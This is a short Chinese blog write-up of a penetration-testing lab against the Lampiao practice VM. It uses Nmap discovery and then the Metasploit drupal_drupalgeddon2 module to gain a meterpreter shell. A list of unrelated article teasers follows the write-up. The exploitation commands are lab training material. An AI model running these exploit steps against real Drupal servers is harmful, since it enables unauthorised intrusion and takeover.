黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134
python tools.py ip -i 192.168.12.0 -h 254 -l 1
二、扫描其他端口。
1898
三、查看网站漏洞情况，典型的漏洞特征
Ac扫描漏洞情况，利用典型的漏洞。
四、开始getshell
1、启动MSF
msf6 > search SA-CORE-2018-002 #查询漏洞特征模块
可以看到，有可以利用的漏洞模块。直接开搞
2、使用对应的漏洞模块
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
3、查看并调整参数。调整参数
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
五、拿下！
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > shellls
查看系统版本。
为所欲为~~~
相关文章：
黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134 python tools.py ip -i 192.168.12.0 -h 254 -l 1 二、扫描其他端口。 1898 三、查看网站漏洞情况，典型的漏洞特征 Ac扫描漏洞情况，利用典型的漏洞。 四、开始getshell 1、启动M…...
笔记：VLAN及交换机处理详细教程（Tagged, UnTagged and Native VLANS Tutorial）
一、内容来源 本文是对下面这篇文章的总结，写的很全、很细致、干货满满，强力推荐： 《Tagged, UnTagged and Native VLANS Tutorial – A Quick Guide about What they Are?》 二、为什么引入VLAN？ 早期设备间通过集线器&#x…...
在字节跳动，造赛博古籍
“你在字节跳动哪个业务？”“古籍数字化。把《论语》《左传》《道德经》这些古籍变成电子版，让大家都能免费看。”没错，除了你熟悉的那些 App，字节跳动还在做一些小众而特别的事情，古籍数字化就是其中之一。在字节跳动…...
Android 12.0设置默认Launcher安装一款Launcher默认Launcher无效的解决方案
1.概述 在12.0的系统rom定制化过程中，在系统中当有多个Launcher的时候，这时候会要求设置默认Launcher,但是在最近的产品开发过程中，发现在设置完默认Launcher以后，在安装个Launcher的时候，会让原来设置的默认Launcher变为空了，就是在系统Settings中的默认应用中，launche…...
数据结构第16周 ：（ 希尔排序+ 堆排序 + 快速排序 ）
目录希尔排序堆排序快速排序希尔排序 【问题描述】给出一组数据，请用希尔排序将其按照从小到大的顺序排列好。 【输入形式】原始数据，以0作为输入的结束；第二行是增量的值，都只有3个。 【输出形式】每一趟增量排序后的结果 【…...
【C++】类和对象
1.面向过程和面向对象初步认识 我们知道，C语言是面向过程的，关注的就是问题解决的过程； C是面向过程和面向对象混编，因为C兼容了C语言，而面向对象关注的不再是问题解决的过程； 而是一件事情所关联的不同…...
Java缓存面试题——Redis应用
文章目录1、为什么要使用Redis做缓存？2、为什么Redis单线程模型效率也能那么高？3、Redis6.0为什么要引入多线程呢？4、Redis常见数据结构以及使用场景字符串（String）哈希(Hash)列表（list）集合&am…...
KMP算法详细理解
一、目的1.KMP应用场景：可以解决字符串匹配问题； 在一个串中查找是否出现过另一个串。2.KMP的经典思想就是:当出现字符串不匹配时，可以记录一部分之前已经匹配的文本内容，利用这些信息避免从头再去做匹配。3.KMP算法关键在于&…...
RabbitMQ单节点安装
在学习RabbitMQ之前，必须要把RabbitMQ的环境搭建起来，刚开始学习时，搭建单节点是入门RabbitMQ最方便、最快捷的方式，这篇文章就是介绍如何使用RabbitMQ压缩包的方式搭建一个单节点的RabbitMQ。 在实际项目中，服务器都…...
tomcat 服务的目录结构和tomcat的运行模式
目录 一、tomcat 服务的目录结构解析： 1、tomcat目录结构： bin目录： conf目录： lib目录： logs目录： temp目录： webapps目录： wokr目录： 二、tomcat服务的运行模…...
vector迭代器失效问题
一、迭代器： 迭代器的主要作用就是让算法能够不用关心底层数据结构，其底层实际就是一个指针，或者是对指针进行了封装，比如：vector的迭代器就是原生态指针T* 。因此迭代器失效，实际就是迭代器底层对应指针所…...
2023年排名前茅的十大饭店装修设计！
相信大家都是知道的，饭店装修设计其实是一门很深的学问，只有掌握这门学问才能够打造出来精美的空间，因此饭店装修必须要有专业餐饮设计公司的设计师进行设计。但是在国内饭店装修设计公司那么多，饭店老板要如何选择呢？…...
MFCCA多通道多说话人语音识别模型上线魔搭（ModelScope）
实验室研发的基于多帧跨通道注意力机制（MFCCA）的多说话人语音识别模型近日上线魔搭（ModelScope）社区，该模型在AliMeeting会议数据集上获得当前最优性能。欢迎大家下载。开发者可以基于此模型进一步利用ModelScope的微调…...
刷题记录:牛客NC25078[USACO 2007 Ope S]City Horizon
传送门:牛客 题目描述: Farmer John has taken his cows on a trip to the city! As the sun sets, the cows gaze at the city horizon and observe the beautiful silhouettes formed by the rectangular buildings. The entire horizon is represented by a number line …...
【Java|golang】 1238. 循环码排列---格雷编码
给你两个整数 n 和 start。你的任务是返回任意 (0,1,2,…,2^n-1) 的排列 p，并且满足： p[0] start p[i] 和 p[i1] 的二进制表示形式只有一位不同 p[0] 和 p[2^n -1] 的二进制表示形式也只有一位不同 示例 1： 输入：n 2, start …...
Python自动化测试框架封装和调用
封装与调用函数与参数化前言 面实现了参数的关联，那种只是记流水账的完成功能，不便于维护，也没什么可读性，接下来这篇可以把每一个动作写成一个函数，这样更方便了。参数化的思维只需记住一点：不要写死 登录…...
线程的执行
承接上文CPU原理简介程序的执行是由控制器发信号推动整个程序一步一步向前走，将数据存储在寄存器，从程序计数器中获取指令，比如先把3放到寄存器，再把5放到寄存器，再做一个加法，加法就是一个指令，…...
【视频】海康摄像头、NVR网络协议简介
1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP：进行设备的发现、激活、修改网络参数、忘记密码等； SDK：4200、系统平台的接入前端设备，协议不对外开放，但对外提供接口库； ISAPI：Intelligent Security API(智能安全API)，基于HTTP传输…...
【Spring的事务传播行为有哪些呢？Spring事务的隔离级别？讲下嵌套事务？】
如果你想寻求一份与后端相关的开发工作，那么关于Spring事务相关的面试题你就不能说不会并且不能不知道？ 人生如棋，我愿为卒，行动虽慢，可谁曾见我后退一步？ 一.Spring中声明事务的方式 1.1 编程式事务 编程…...
其实一点不难学会这三步一定让你学会制作一个『3D建模』大屏
上次已经教过大家怎样制作一个简单的2D数据可视化大屏~那有一些朋友们就会说那些炫酷的3D可视化大屏是怎样制作的呢？这不就来了，今天就教大家怎样用山海鲸可视化软件制作一个带3D建模的可视化大屏，并且最重要的是无需会特别复杂的3D建模知识。…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手：借助大模型技术，开发能根据用户输入的主题、风格等要求，生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用，帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用：作为微服务架构的网关，统一入口，处理所有外部请求。 核心能力： 路由转发（基于路径、服务名等）过滤器（鉴权、限流、日志、Header 处理）支持负…...
进程地址空间（比特课总结）
一、进程地址空间 1. 环境变量 1 ）⽤户级环境变量与系统级环境变量 全局属性：环境变量具有全局属性，会被⼦进程继承。例如当bash启动⼦进程时，环 境变量会⾃动传递给⼦进程。 本地变量限制：本地变量只在当前进程(ba…...
【力扣数据库知识手册笔记】索引
索引 索引的优缺点 优点1. 通过创建唯一性索引，可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度（创建索引的主要原因）。3. 可以加速表和表之间的连接，实现数据的参考完整性。4. 可以在查询过程中，…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
边缘计算医疗风险自查APP开发方案
核心目标：在便携设备（智能手表/家用检测仪）部署轻量化疾病预测模型，实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时，你可能需要保留重要的数据，例如通讯录。好在，将通讯录从 iPhone 转移到 Android 手机非常简单，你可以从本文中学习 6 种可靠的方法，确保随时保持连接，不错过任何信息。 第 1…...
pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...
3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象，只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意：它移动的位置必须是相连的有内容的单元格…...